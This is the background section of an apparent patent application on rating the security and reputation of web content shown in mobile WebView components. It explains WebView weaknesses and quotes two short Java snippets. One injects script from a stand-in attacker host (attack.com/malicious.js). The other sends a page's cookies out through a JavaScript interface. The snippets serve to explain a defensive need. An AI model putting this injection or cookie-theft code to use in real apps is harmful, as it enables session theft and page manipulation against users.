The subject matter discussed in the background section should not be assumed to be prior art merely as a result of its mention in the background section. Similarly, a problem mentioned in the background section or associated with the subject matter of the background section should not be assumed to have been previously recognized in the prior art. The subject matter in the background section merely represents different approaches, which in and of themselves may also be inventions.
Most literate individuals today rely on information received via electronics networks. This distributed information may impact the individuals' financial decisions, political beliefs, life choices, etc. While many individuals rely on information provided by self-identified sources of news and other information to make both critical and mundane life decisions, information recipients often fail to realize that electronically provided content may have incorrect facts or be provided from negligent or deceptive sources having unintentional biases, reporting from idiosyncratic contexts, or intentionally inserting distortions that are not self-evident. Information recipients may thereby reach conclusions supported on the basis of the fabricated facts, incorrect information and/or incomplete data. Furthermore, there are few available informational assets that may be reliably consulted for guidance in determining the integrity of information sources. There is therefore a long-felt need to provide information that informs the general public of the integrity and character of an information source.
In one modality of information access, information seekers use mobile networked communications devices, to include cellular telephones, to access information sources of the Internet. Such information sources includes assets available as Universal Resources Identifiers, such as domain names of the World Wide Web.
WebView is an essential component on mobile operating platforms such as mobile devices using suitable operating systems such as ANDROID™ as licensed by Google, Inc., of Mountain View, Calif. and iOS™ as licensed by Apple, Inc. of Cupertino, Calif. For purposes of this disclosure, a WebView is a class used to access or display content from the internet on any mobile device using anything other than a commercial web browser (e.g., Firefox™, Safari™, Chrome™ and Internet Explorer™. A WebView enables web content to be displayed inside mobile apps. For example, application developers can use WebView to display web content inside an app instead of redirecting users to the native browser. This also allows developers to offer users an integrated experience because they don't need to close the app and open a web browser in order to view the web content.
A WebView is not intended to act in the same way as conventional web browsers because it does not include many to all of the features of a fully developed web browser, such as navigation controls, an address bar or safety features. A WebView, by default, allows a mobile application to display web content. While users of the WebView may move backward and forward through history and pinch zoom to increase the size of text in the web page, WebView does not allow users to visit a web page by typing a URL into an address bar and it offers no web search or security capabilities that commercial web browsers provide.
WebView was originally designed only to display web content inside an app and so their security infrastructure didn't support many of the things that developers are using them for today. There is an increasing trend towards developers building “hybrid” apps made to look like native apps but are in fact, built entirely around a WebView, using technologies such as HTML and CSS—thereby enabling hundreds of thousands of apps that have browser-like capability, most of which are not developed by well recognized companies and their trustworthiness may be questionable. Since WebView was first created, app usage is growing exponentially, leading to WebView being used by an increasing number of users. For example, WebView can be helpful when application developers want to provide information in their applications that they might need to update without asking users to update their application, such as an end-user agreement or a user guide. Within their applications, developers can create an Activity that contains a WebView, and then use that to display their documents that are hosted online. A Browser is a critical component in the Trusted Computing Base (hereinafter, “TCB”) of the Web: Web applications rely on the client side of browsers to secure their cookies, HTTP requests, JavaScript code and so on. Various alternate preferred embodiments of the method of the present invention applies suitable commercially available browsers such as Chrome, Firefox, Safari and Opera because we trust that they can serve as a TCB. When using hybrid applications that act like “browsers”, the trust is gone. Therefore, WebView has weakened the TCB of the Web infrastructure.
However, the design of WebView also changes the landscape of the Web, especially from the security and reputation perspective. As a result, many attacks can be launched either against apps or by them. The Web's security infrastructure can be weakened when a WebView and its Application Programming Interfaces (APIs) are used because WebView does not have security related identity indicators. In other words, users often cannot identify whether a link has taken them to the expected web page or web application. Thus, when a user is accessing web content through WebView and the web page asks the user for confidential information such as username, password or credit card number, the confidential information entered by the user will be vulnerable to spoofing and phishing attacks. Attackers can spoof users using illegitimate applications with high accuracy, meaning that there is high risk of phishing attacks on mobile platforms. There are several ways to launch attacks on WebView or content in a mobile application. An explanation of why and how attacks can take place on WebView or content in a mobile application, please see: http://www.cis.syr.edu/.about.wedu/Research/paper/webview_acsac2011.pdf,
which is incorporated herein by reference. As an example, the present disclosure and referenced article show how using the functionalities provided by WebView, an app can directly inject its own JavaScript code into any web page loaded within the WebView. This code can manipulate everything in the web page, as well as steal or misuse its sensitive information. Using WebView's loadUrl( ) API, Android application can inject arbitrary JavaScript code into the pages loaded by the WebView component. The loadUrl( ) API receives an argument of string type; if the string starts with“javascript:”, WebView will treat the entire string as JavaScript code, and execute it in the context of the web page that is currently displayed by the WebView component. This JavaScript code has the same privileges as that included in the web page. Essentially, the injected JavaScript code can manipulate the DOM tree and cookies of the page. WebView has an option named javascriptenable, with False being its default value; namely, by default, WebView does not execute any JavaScript code. However, this option can be easily set to True by the application, and after that, JavaScript code, embedded in the web page or injected by the application, can be executed. There are many ways to inject JavaScript code into web page using loadUrl( ). We give two examples here to illustrate the details.
The following Java code constructs a string that contains a short JavaScript program; the program is injected into the web page loaded by WebView. When this program is executed in the context of the web page, it fetches additional (malicious) code from an external web server, and executes it.
String js=“javascript: var newscript.quadrature.=document.createElement(\“script\”);”; js+=“newscript.src=\“http://www.attack.com/malicious.js\”;”; js+=“document.body.appendChild(newscript);”; mWebView.loadUrl(js);
In the above example, the malicious code malicious.js can launch attacks on the targeted web application from within the web page. For example, if the web page is the user's Facebook page, the injected JavaScript code can delete the user's friends, post on his/her friends' walls, modify the user's profiles, etc. Obviously, if the application is developed by Facebook, none of these will happen, but some popular Facebook apps for Android phones are indeed developed by third parties.
Extracting Information From WebView. In addition to manipulating the contents/cookies of the web page, the malicious application can also ask its injected JavaScript code to send out sensitive information from the page. The following example shows how an Android application extracts the cookie information from a targeted web page.
class MyJS {.quadrature.public void SendSecret(String secret) { . . . do whatever you want with the secret . . . webview.addJavascriptInterface(new MyJS( ), “JsShow”); webview.setWebViewClient(new WebViewClient( ) {public void onPageFinished(WebView view, String url){view.loadUrl(“javascript: window.JsShow.SendSecret(document.cookie)”);}
In the Java code above, the malicious application defines a class called MyJS with a function SendSecret, which receives a string as the parameter. The program then registers an instance of MyJS to WebView. On finishing loading the page, the application, using loadUrl, invokes window.JsShow.SendSecret, passing as the parameter whatever sensitive information the attacker wants to extract out of page. In this case, the cookie information is sent out.
Further, while WebView provided by companies such as Google™ and Apple™ offer a secure connection between a mobile application and a web page, their basic user interfaces do not offer users with any indication of the level of security offered by the web content. Thus, users will not be aware of whether the web content is safe or authentic. As a result, this gives the fraudsters (including phishing web sites) an opportunity to exploit such security breech.
Fueled by widespread adoption of employee-owned devices in the workplace and the explosion of mobile applications, mobile device security is an increasing threat to personal privacy. Businesses and government agencies are at risk with employees using their own devices to access some of the most sensitive data in an organization.
Accordingly, there exists a need for an improved method which not only allows users of WebView to readily identify whether a web page is safe or is from a reputable source of information, but also allows them to readily identify the level of security or reputation, thereby increasing users' confidence in performing secure transactions over WebView. There also exists a need for improved security method which protects users and their personal data from malicious web sites or phishing attacks while they are accessing a web page through WebView. There also exists a need for improved security method which offers users the ability to block content that they deem inappropriate for themselves or the people for whom they are responsible while using WebView. There also exists a need for improved security method which offers users the ability to verify the real identity of an application owner to help prevent phishing and other malicious attacks by the app itself.
There exists also a broader need for information seekers to consult reliable guidance as to the integrity and character of sources of information, such as provides of text, data, images, video and audio files via electronic information sources, such as the World Wide Web.